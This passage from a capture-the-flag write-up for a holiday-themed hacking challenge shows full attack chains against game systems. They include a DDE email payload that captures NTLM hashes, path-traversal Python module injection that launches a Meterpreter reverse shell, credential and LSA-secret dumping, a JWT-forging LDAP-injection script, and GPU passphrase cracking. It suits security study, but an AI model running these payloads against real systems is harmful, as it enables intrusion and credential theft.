  attempt is by embedding a UNC path (\\SERVER\SHARE) into a web page
  or email message. When the victim views the web page or email, their
  system will automatically connect to the server specified in the UNC
  share (the IP address of the system running this module) and attempt
  to authenticate. Another option is using
  auxiliary/spoof/{nbns,llmnr} to respond to queries for names the
  victim is already looking for.

msf auxiliary(smb) > set SRVPORT 3445
SRVPORT => 3445
msf auxiliary(smb) > set JOHNPWFILE alabaster_snowball.john
JOHNPWFILE => alabaster_snowball.john
msf auxiliary(smb) > run
[*] Auxiliary module running as background job 3.

Now, we'll send the following command via e-mail:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k dir \\\\1.2.3.4\\a"

And sure enough, we get the following hashes:

[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:314d4bd798cac0c5fa2bb107ba248cc6
NT_CLIENT_CHALLENGE:0101000000000000d1b912a0358ad30143592f0cabfa891000000000020000000000000000000000
[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:aaa7328ccd721a5e96bfb188eb4ecbdd
NT_CLIENT_CHALLENGE:010100000000000001431ca0358ad301c89b21fb5e4c160d00000000020000000000000000000000
[*] SMB Captured - 2018-12-20 17:08:24 +0000
NTLMv2 Response Captured from 35.185.57.190:49759 - 35.185.57.190
USER:alabaster_snowball DOMAIN:HHC17-SMB-SERVE OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:71570491da3f413ce830788429820789
NT_CLIENT_CHALLENGE:010100000000000024042ba0358ad301a28a0bc07ea8214300000000020000000000000000000000

We now have the following file:

alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a34215103b43a000b5807ab:0101000000000000f0a52fe4358ad3018486290b6477913300000000020000000000000000000000
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f174de38ee30de2136b53e:0101000000000000e4e554e4358ad301fee549fa52c9b5ef00000000020000000000000000000000
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d983096a0a895484a61834283f:0101000000000000fb6a68e4358ad301645b79e4a5ed58c300000000020000000000000000000000

We'll use hashcat to crack this:

hashcat64.bin -m 5600 -a 0 alabaster_snowball.john.netntlmv2 wordlist.txt -O -w 4
...
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:3d0a58908a3...:Carried_mass_it_reader1
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:5c63d79712f...:Carried_mass_it_reader1
alabaster_snowball::HHC17-SMB-SERVE:1122334455667788:de4559d9830...:Carried_mass_it_reader1
Session..........: hashcat
Status...........: Cracked
Hash.Type........: NetNTLMv2
...

Armed with a password, we can remote desktop:

Woot! We're hand-waving some of this for now, as there will be a longer discussion about how we cracked passwords.

Unfortunately, our commands only run as Alabaster, who is just a regular user on the EMI system. We can do better than that.

Once we got command execution on this system, we started looking to see what was running. It was obvious that Office was not installed, and we started to question whether Alabaster even used this system, or if it was all a big charade.

We found that the system was running a service, called WindowsGrabber which would download new e-mails, try to parse out their DDE payloads, and execute them. It did this via C:\Program Files\WindowsGrabber\alabaster_snowball.py. That file also had credentials for the EWA system:

srverAddress = '10.142.0.5'
#srverAddress = '35.185.115.185'
user = 'alabaster.snowball@northpolechristmastown.com'
passw = 'power instrument gasoline film'

(As an aside, this code snippet also confirmed our theory about the systems moving from the public IPs we found during the Recon stage, to private ones).

This service was running as the alabaster_snowball user that we could already run commands as, so it wasn't a target for privilege elevation.

…and then, on December 23rd, all of that changed. The setup was changed, so now two services were running: WindowsGrabber was now running as LocalSystem, a very privileged account on Windows, and agrabber was running as Alabaster. The Python script was no longer readable by Alabaster, but it was modified so that instead of directly running the commands, it would write them to a file, and then the lesser-privileged agrabber service would run them from that file.

Unfortunately, there was a vulnerability in alabaster_snowball.py. It turns out that there are two ways to send the file to Alabaster: we can either attach it via the EWA webmail interface, which uploads a copy to mail.northpolechristmastown.com and inserts a link in the e-mail, OR we can simply attach it to the e-mail. In the case of the latter, the script does the following:

def save_attachment(self, msg):
    """
    Given a message, save its attachments to the specified
    download folder (default is /tmp)

    return: file path to attachment
    """
    download_folder = tempfile.mkdtemp()
    att_path = False
    for part in msg.walk():
        if part.get_content_maintype() == 'multipart':
            continue
        if part.get('Content-Disposition') is None:
            continue

        filename = part.get_filename()
        att_path = os.path.join(download_folder, filename)

        if not os.path.isfile(att_path):
            fp = open(att_path, 'wb')
            fp.write(part.get_payload(decode=True))
            fp.close()
    return att_path

The issue here is the line:

att_path = os.path.join(download_folder, filename)

The filename is controlled by us, as it comes from the e-mail message itself. By prefixing our filename with ../../../.. we can write anywhere on the system, as the LocalSystem account.

With unrestricted write access, how can we turn that into code execution? We could a number of techniques, such as DLL hijacking, but many are made more difficult by the fact that we can't read files with our privileged access, only write to them.

Once again, we turned to Python. We targetted the alabaster_snowball.py script itself, with Python module injection. An import command such as:

import glob

will cause Python to search for glob.py in the current directory, and then in some system-wide directories. If we can write a malicious C:\Program Files\WindowsGrabber\glob.py, the next time the service restarts, our code will run as LocalSystem.

Our file ends up looking like this:

import sys, imp, os
def get_mod(modname):
    fd, path, desc = imp.find_module(modname, sys.path[::-1])
    return imp.load_module("orig_" + modname, fd, path, desc)

locals().update(vars(get_mod(__name__)))

try:
    if not os.path.isfile("C:/Windows/Temp/have_run"):
        os.system('nssm install zGrabber C:\\Users\\ALABAS~1\\AppData\\Local\\Temp\\2\\4445.exe')
        open("C:/Windows/Temp/have_run", 'a').close()
    os.system('nssm start zGrabber')
except:
    print("Could not run")

The top half loads the actual glob module, and makes it available to anything that imported our malicious glob module. The bottom half creates a new service, which will run a file that we uploaded, 4445.exe. This service uses the Non-Sucking Service Manager (nssm) that manages the other Grabber services, and will be installed as a LocalSystem service as well. Finally, we start our service, and ignore any exceptions in case we made a mistake.

Getting this file right was a little nerve-wracking, and required a great deal of testing. The vulnerability we found will only allow you to write new files, and because the files are written as the LocalSystem account, there was no way to modify or delete them once written if this did not work.

Now, we craft an e-mail, which has our base64-encoded glob.py as an attachment, and we give the attachment a filename that will put it in the right place:

HELO l2s
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
DATA
MIME-Version: 1.0
Subject: Test E-mail
From: wunorse.openslae@northpolechristmastown.com
To: alabaster.snowball@northpolechristmastown.com
Content-Type: multipart/mixed; boundary="089e082f74245acc5b05624d7433"

--089e082f74245acc5b05624d7433
Content-Type: multipart/alternative; boundary="089e082f74245acc5605624d7431"

--089e082f74245acc5605624d7431
Content-Type: text/plain; charset="UTF-8"

gingerbread cookie recipe


--089e082f74245acc5b05624d7433
Content-Type: text/x-python-script; charset="US-ASCII"; name="glob.py"
Content-Disposition: attachment; filename="../../../../../../../../../../../../Program Files/WindowsGrabber/glob.py"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_jc6xkfum1

aW1wb3J0IHN5cywgaW1wLCBvcwpkZWYgZ2V0X21vZChtb2RuYW1lKToKICAgIGZkLCBwYXRoLCBk
ZXNjID0gaW1wLmZpbmRfbW9kdWxlKG1vZG5hbWUsIHN5cy5wYXRoWzo6LTFdKQogICAgcmV0dXJu
IGltcC5sb2FkX21vZHVsZSgib3JpZ18iICsgbW9kbmFtZSwgZmQsIHBhdGgsIGRlc2MpCgpsb2Nh
bHMoKS51cGRhdGUodmFycyhnZXRfbW9kKF9fbmFtZV9fKSkpCgp0cnk6CiAgICBpZiBub3Qgb3Mu
cGF0aC5pc2ZpbGUoIkM6L1dpbmRvd3MvVGVtcC9oYXZlX3J1biIpOgogICAgICAgIG9zLnN5c3Rl
bSgnbnNzbSBpbnN0YWxsIHpHcmFiYmVyIEM6XFxVc2Vyc1xcQUxBQkFTfjFcXEFwcERhdGFcXExv
Y2FsXFxUZW1wXFwyXFw0NDQ1LmV4ZScpCiAgICAgICAgb3BlbigiQzovV2luZG93cy9UZW1wL2hh
dmVfcnVuIiwgJ2EnKS5jbG9zZSgpCiAgICBvcy5zeXN0ZW0oJ25zc20gc3RhcnQgekdyYWJiZXIn
KQpleGNlcHQ6CiAgICBwcmludCgiQ291bGQgbm90IHJ1biIpCg==

--089e082f74245acc5b05624d7433--
.

Now we just send that over netcat, and wait:

$ nc mail.northpolechristmastown.com 25
220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
550 5.7.1 <alabaster.snowball@northpolechristmastown.com>: Recipient address rejected: Message rejected due to: SPF fail - not authorized. 
Please see http://www.openspf.net/Why?s=mfrom;id=wunorse.openslae@northpolechristmastown.com;ip=10.142.0.3;r=alabaster.snowball@northpolechristmastown.com

Foiled! If we dig a little deeper however, and we use our nmap scan results, we'll find that there's another SMTP service listening on port 2525 which will allow us to send our e-mail:

220 mail.northpolechristmastown.com ESMTP Postfix
HELO l2s
250 mail.northpolechristmastown.com
MAIL FROM:<wunorse.openslae@northpolechristmastown.com>
250 2.1.0 Ok
RCPT TO:<alabaster.snowball@northpolechristmastown.com>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
MIME-Version: 1.0
Subject: Test E-mail
...
--089e082f74245acc5b05624d7433--
.
250 2.0.0 Ok: queued as 1755CC35D2

If we do a directory listing, we see that our plan worked:

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  7670  fil   2017-12-23 04:28:42 +0000  alabaster_snowball.py
100666/rw-rw-rw-  257   fil   2017-12-23 05:17:52 +0000  execute.ps1
100666/rw-rw-rw-  0     fil   2018-01-09 01:25:40 +0000  file.txt
100666/rw-rw-rw-  228   fil   2018-01-09 01:25:36 +0000  glob.py

Now we just need to launch Metasploit and wait for the service to restart…

$ msfconsole -r windows-meterpreter-stageless-reverse-tcp-4445-exe.rc


     .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
				`...............`              `...-/////...`


				  .::::::::::-.                     .::::::-
				.hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
				 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
				 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
				  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
				   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
	  /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
	  -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
	  .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

		     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

			Press SPACE BAR to continue



       =[ metasploit v4.16.14-dev-140955f                 ]
+ -- --=[ 1698 exploits - 969 auxiliary - 299 post        ]
+ -- --=[ 500 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc for ERB directives.
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> use exploit/multi/handler
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set PAYLOAD windows/meterpreter_reverse_tcp
PAYLOAD => windows/meterpreter_reverse_tcp
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LHOST 1.2.3.4
LHOST => 1.2.3.4
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set LPORT 4445
LPORT => 4445
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> set ExitOnSession false
ExitOnSession => false
resource (msf_payloads/windows-meterpreter-stageless-reverse-tcp-4445-exe.rc)> run -j
[*] Exploit running as background job 0.
Meterpreter session 1 opened (1.2.3.4:4445 -> 35.185.57.190:49672) at 2018-01-09 05:08:43 +0000
msf exploit(handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ HHC17-SMB-SERVE  1.2.3.4:4445 -> 35.185.57.190:49756 (10.142.0.8)

And now, we've managed to elevate our credentials. There are a few "post-exploitation" modules for Meterpreter, which will use our session. For instance, let's dump the hashes on the system:

msf exploit(handler) > set -g SESSION 1
SESSION => 1
msf exploit(handler) > use post/windows/gather/credentials/credential_collector
msf post(credential_collector) > run

[*] Running module against HHC17-SMB-SERVE
[+] Collecting hashes...
    Extracted: Administrator:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: alabaster_snowball:aad3b435b51404eeaad3b435b51404ee:10e2fa00c44d10ca05d399f47ed13351
    Extracted: DefaultAccount:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
    Extracted: sysadmin:aad3b435b51404eeaad3b435b51404ee:27309e9a73764938860b4a1ed7c0392b
[+] Collecting tokens...
    HHC17-SMB-SERVE\alabaster_snowball
    IIS APPPOOL\DefaultAppPool
    NT AUTHORITY\IUSR
    NT AUTHORITY\LOCAL SERVICE
    NT AUTHORITY\NETWORK SERVICE
    NT AUTHORITY\SYSTEM
    Window Manager\DWM-1
    NT AUTHORITY\ANONYMOUS LOGON
[*] Post module execution completed

We could try to crack some hashes, but there's an easier way. Let's check the LSA secrets:

msf post(credential_collector) > use post/windows/gather/lsa_secrets
msf post(lsa_secrets) > info

       Name: Windows Enumerate LSA Secrets
     Module: post/windows/gather/lsa_secrets
   Platform: Windows
       Arch:
       Rank: Normal

Provided by:
  Rob Bathurst <rob.bathurst@foundstone.com>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION  1                yes       The session to run this module on.

Description:
  This module will attempt to enumerate the LSA Secrets keys within
  the registry. The registry value used is:
  HKEY_LOCAL_MACHINE\Security\Policy\Secrets\. Thanks goes to Maurizio
  Agazzini and Mubix for decrypt code from cachedump.

msf post(lsa_secrets) > run

[*] Executing module against HHC17-SMB-SERVE
[*] Obtaining boot key...
[*] Obtaining Lsa key...
[*] Vista or above system
[+] Key: DPAPI_SYSTEM
 Decrypted Value: ,2#B@:o~NY*#(1]`Vx

[+] Key: NL$KM
 Decrypted Value: @.tUb#=VQc_Y%&P1`gG;g1p0I)me& }Z/zXP`

[+] Key: _SC_agrabber
 Username: .\alabaster_snowball
 Decrypted Value: .Carried_mass_it_reader1

[*] Writing to loot...
[*] Data saved in: /home/holiday/.msf4/loot/20180109050031_default_10.142.0.8_registry.lsa.sec_967944.txt
[*] Post module execution completed

We can verify this with our hash, or via RDP: alabaster's password is Carried_mass_it_reader1, which matches what we got before.

At this point, the system is pretty well compromised. We were unable to crack the sysadmin user's hash, or pivot from this system to other systems using our privileged access.

We did, however, find some neat things in the Firefox browsing history of the sysadmin user:

'https://www.python.org/downloads/release/python-362/'
'https://www.google.com/search?q=non+sucky+servaice+manager&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://nssm.cc/release/nssm-2.24.zip'
'http://localhost/'
'https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx'
'http://localhost/test.aspx'
'https://stackoverflow.com/questions/4388066/the-page-you-are-requesting-cannot-be-served-because-of-the-extension-configura'
'https://www.google.com/search?q=how+to+use+aspnet_regiis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://www.google.com/search?q=aspnet_regiis+%3A+The+term+%27aspnet_regiis%27+is+not+recognized+as+the+name+of+a+cmdlet&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'http://exescan.net/exes/a/aspnet_regiis-exe-file'
'https://www.google.com/search?q=how+to+configure+asp+to+run+on+iis&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://docs.microsoft.com/en-us/iis/application-frameworks/scenario-build-an-aspnet-website-on-iis/configuring-step-1-install-iis-and-asp-net-modules'
'https://www.google.com/search?q=enable+asp+on+windows+2016&ie=utf-8&oe=utf-8&client=firefox-b-1-ab'
'https://docs.microsoft.com/en-us/biztalk/core/how-to-enable-asp-net-4-0-for-published-web-services'
'https://az764295.vo.msecnd.net/stable/dcee2202709a4f223185514b9275aa4229841aa7/VSCodeSetup-x64-1.18.0.exe'
'http://127.0.0.1/'
'http://127.0.0.1/evil.aspx'
'http://localhost/cmd.aspx'
'http://localhost/jerry.aspx'
'http://localhost/ok.txt'

Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com/. Who wrote the letter?

For hints on solving this challenge, please locate Wunorse Openslae in the North Pole and Beyond.

We can pull up the website in a web browser, and we see a login page.

We can try some of the passwords we've already recovered, without success. However, at the bottom of the page, there's a support link, which pops up this form:

Wunorse Openslae provides us the following:

This blog post is explicitly called out:

Understanding and Exploiting Web-based LDAP https://pen-testing.sans.org/blog/2017/11/27/understanding-and-exploiting-web-based-ldap

The hints lay out a pretty clear path: we can use XSS to send a malicious request to one of the elves or reindeer, and then steal their JWT credential and access the directory.

There was a lot of stuff going on in this question. First, we needed to use XSS to grab a copy of the JWT token, then we had to recover the secret and forge a new token.

Once we logged into the system, we found it was vulnerable to LDAP injection, and were able to dump all the users, and their passwords. Cracking Santa's password allowed us to access the letter from the Wizard of Oz.

We automated this attack with edb.py, which dumps the LDAP database.

Here is edb.py:

#!/usr/bin/env python3
import requests
import sys
import jwt
import json

SECRET_KEY='3lv3s'
PROXY = "socks5h://localhost:31080"

class EDB:
    def __init__(self, host='http://edb.northpolechristmastown.com'):
        self.host = host
        ses = requests.session()
        ses.proxies = {
            "http": PROXY,
        }
        self.ses = ses

    def make_jwt(self, user, dept="administrators", ou="human"):
        data = {
            'uid': user,
            'dept': dept,
            'ou': ou,
            'expires': '2018-08-16 12:00:47.248093+00:00',
        }

        token = jwt.encode(data, key=SECRET_KEY)
        return token.decode('utf-8')

    def login(self, user):
        token = self.make_jwt(user)
        self.ses.headers['np-auth'] = token
        resp = self.ses.post(self.host + "/login", data={
            "auth_token": token
        })
        resp.raise_for_status()
        #print(resp.text)
        resp = self.ses.get(self.host + "/home.html")
        resp.raise_for_status()

    def ldap_search(self, query):
        resp = self.ses.post(self.host + "/search", data={
            "isElf": "True",
            "attributes": "*",
            "name": query,
        })
        resp.raise_for_status()
        return resp.json()

if __name__ == "__main__":
    db = EDB()
    db.login("santa.claus")
    all_data = db.ldap_search("name=))(department=it)(|(cn=")
    print(json.dumps(all_data, indent=True))

And this is edb.py in action:

$ ./edb.py | head
[
 [
  [
   "cn=rudolph,ou=reindeer,dc=northpolechristmastown,dc=com",
   {
    "c": [
     "US"
    ],
    "cn": [
     "rudolph"
...

The website's robots.txt page lists a single entry, http://edb.northpolechristmastown.com/dev/, which leads us to this LDIF file:

#LDAP LDIF TEMPLATE

dn: dc=com
dc: com
objectClass: dcObject

dn: dc=northpolechristmastown,dc=com
dc: northpolechristmastown
objectClass: dcObject
objectClass: organization

dn: ou=human,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: human

dn: ou=elf,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: elf

dn: ou=reindeer,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: reindeer

dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
cn: 
sn: 
gn: 
profilePath: /path/to/users/profile/image
uid: 
ou: 
department: 
mail: 
telephoneNumber: 
street:
postOfficeBox: 
postalCode: 
postalAddress: 
st: 
l: 
c: 
facsimileTelephoneNumber: 
description: 
userPassword: 

Knowing the LDAP structure would make it easier to pull out the passwords, but much of the work leading up to that would remain the same.

Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

To answer this question, you need to fetch at least five of the seven pages of The Great Book and complete the final level of the North Pole and Beyond.

This answer comes straight from the game. Once we've found at least 5 pages, and completed all the levels, we see the following message:

It's always about the money…

The text field for entering the SHA1 hashes of the great book pages appears to have some placeholder text in it, 686579212121202d436f756e746572204861636b. This is in hex and can be converted to ascii, hey!!! -Counter Hack.

In question 2, we found Alabaster's password, which was pretty strong: stream_unhappy_buy_loss. During the course of the Hack, we found some other passwords, but were only able to crack Santa's password with a simple wordlist. Let's do some digging and see if we can't figure out how Alabaster's password was generated.

Googling doesn't help too much, but a GitHub code search does. Searching for stream unhappy buy loss passphrase, the 8th result is pw.py:

#!/usr/bin/env python3
# coding=utf-8

# Thanks to http://passphra.se/
words = [
"ability","able","aboard","about","above","accept","accident","according",
"account","accurate","acres","across","act","action","active","activity",
"actual","actually","add","addition","additional","adjective","adult","adventure",
"advice","affect","afraid","after","afternoon","again","against","age",
"ago","agree","ahead","aid","air","airplane","alike","alive",
"all","allow","almost","alone","along","aloud","alphabet","already",
...

We can verify that all 4 of the words are in that list. The code is even nice enough to link us to http://passphra.se/, which seems like it'd be a handy service for anyone wanting to create some quick passwords.

In question 8, we recovered some LDAP password hashes. Let's see if we can't crack more of those. Hashcat is our password cracker of choice, but it can't do passphrases from a word list. We only have 1,949 words, and his password had 4 words chosen, so we can create a file with all the two-word combinations, then use Hashcat's combinator mode to try all combinations of two words on the left half and two words on the right half.

We'll start by downloading the pw.py file that we found, and then a quick script will create our 2-word combos:

#!/usr/bin/env python3
import itertools

import pw

for x in itertools.permutations(pw.words, 2):
    print(' '.join(x))

Some Makefile targets to help:

password_hashes.txt: edb.json
	cat edb.json |jq '.[][][]' -c|grep userPassword | jq '"\(.mail[0]):\(.userPassword[0])"' -r > password_hashes.txt

password_combos.txt: ../tools/gen_password_combos.py
	../tools/gen_password_combos.py > password_combos.txt
	ls -lh password_combos.txt
	wc -l password_combos.txt

ldap_hashcat.txt: password_hashes.txt password_combos.txt
	hashcat -m 0  -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username || true
	hashcat -m 0  -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username --show | tee ldap_hashcat.txt

And then we can create our combos:

$ make password_combos.txt
../tools/gen_password_combos.py > password_combos.txt
ls -lh password_combos.txt
-rw-r--r--  1 holiday staff    48M Jan 10 17:29 password_combos.txt
wc -l password_combos.txt
 3796652 password_combos.txt

A 50 MB file is quite reasonable. Next up, we'll fire up Hashcat:

$ make ldap_hashcat.txt
hashcat -m 0 -a 1 password_hashes.txt password_combos.txt  password_combos.txt -j ' ' --username || true

On a laptop, performance isn't great. So we got an AWS GPU cracking rig.

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: password_hashes.txt
Time.Started.....: Wed Jan 10 14:15:06 2018 (1 minute 8 secs)
Time.Estimated...: Wed Jan 10 14:16:14 2018 (0 secs)
Guess.Base.......: File (password_combos_left_underscore.txt), Left Side
Guess.Mod........: File (password_combos_right_underscore.txt), Right Side
Speed.Dev.#1.....: 27490.8 MH/s (15.27ms)
Speed.Dev.#2.....: 27306.9 MH/s (15.27ms)
Speed.Dev.#3.....: 27213.1 MH/s (15.31ms)
Speed.Dev.#4.....: 27282.2 MH/s (15.28ms)
Speed.Dev.#5.....: 27210.4 MH/s (15.26ms)
Speed.Dev.#6.....: 27154.5 MH/s (15.29ms)
Speed.Dev.#7.....: 27160.6 MH/s (15.29ms)
Speed.Dev.#8.....: 27380.2 MH/s (15.31ms)
Speed.Dev.#*.....:   218.2 GH/s

This behemoth can run through all 4-word password combinations for NTLM using the wordlist in about a minute. And running it for a minute costs less than a dollar!

Here are the passwords we were able to crack this way:

http://passphra.se/ is based off of this XKCD comic:

This comic explicitly mentions that these passwords are intended to keep you safe via online attacks, and not the offline attacks we were performing. With our GPU cracking rig, we were testing over 200 billion passwords per second, and these were designed to be resistant for 1,000 per second.

What's more, the wordlist was supposed to be 2,048 words, but only used 1,949, calling it "close enough." This seems like a small difference, but when you consider 4 word combinations, there are only 82% as many combinations with 1,949 words as with 2,048.

Would adding more words help? Yes, but a 5 word combination would still be crackable in less than a day and a half, and even a 6 word combination isn't out of reach for a determined (and well-funded) adversary.

Another solution is using better hashes, which are more computationally expensive to compute.